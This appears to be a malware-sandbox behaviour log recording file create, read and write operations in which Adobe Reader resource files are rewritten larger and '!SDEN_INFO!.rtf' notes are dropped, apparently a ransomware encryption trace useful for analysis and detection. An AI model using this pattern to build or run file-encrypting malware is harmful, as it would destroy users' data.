File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2.gif, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2.gif, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in.png, size = 4096, size_out = 4096	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\tr-tr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\!SDEN_INFO!.rtf, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\!SDEN_INFO!.rtf, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pt-br\ui-strings.js, size = 1107, size_out = 1107	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pt-br\ui-strings.js, size = 2523	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\cs-cz\ui-strings.js, size = 926, size_out = 926	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\cs-cz\ui-strings.js, size = 2342	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\ui-strings.js, size = 910, size_out = 910	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\ui-strings.js, size = 2326	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\ui-strings.js, size = 903, size_out = 903	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\ui-strings.js, size = 2319	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\plugin.js, size = 8069, size_out = 8069	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\plugin.js, size = 9485	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fr_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fr_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fr_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fr_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_tr_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_tr_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_tr_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_tr_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\be_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\be_get.svg, size = 6743, size_out = 6743	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\be_get.svg, size = 8159	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fi_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fi_get.svg, size = 5611, size_out = 5611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fi_get.svg, size = 7027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\nl_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\nl_get.svg, size = 6145, size_out = 6145	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\nl_get.svg, size = 7561	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\th_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\th_get.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\th_get.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\th_get.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\cs-cz\ui-strings.js, size = 1499, size_out = 1499	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\cs-cz\ui-strings.js, size = 2915	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\it-it\ui-strings.js, size = 1464, size_out = 1464	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\it-it\ui-strings.js, size = 2880	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sk-sk\ui-strings.js, size = 1563, size_out = 1563	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sk-sk\ui-strings.js, size = 2979	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main-selector.css, size = 802, size_out = 802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main-selector.css, size = 2218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\faf_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\faf_icons.png, size = 6272, size_out = 6272	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\faf_icons.png, size = 7688	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\es-es\ui-strings.js, size = 7138, size_out = 7138	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\es-es\ui-strings.js, size = 8554	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ko-kr\ui-strings.js, size = 7123, size_out = 7123	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ko-kr\ui-strings.js, size = 8539	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-sl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-sl\ui-strings.js, size = 3629, size_out = 3629	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-sl\ui-strings.js, size = 5045	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif, size = 556, size_out = 556	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif, size = 1972	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adobe_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adobe_logo.png, size = 649, size_out = 649	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adobe_logo.png, size = 2065	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons_retina.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons_retina.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons_retina.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-view.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-view.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-view.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-view.css, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo_2x.png, size = 1570, size_out = 1570	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo_2x.png, size = 2986	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo_2x.png, size = 1570, size_out = 1570	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo_2x.png, size = 2986	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ja-jp\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ja-jp\ui-strings.js, size = 5512	1	Fn Data
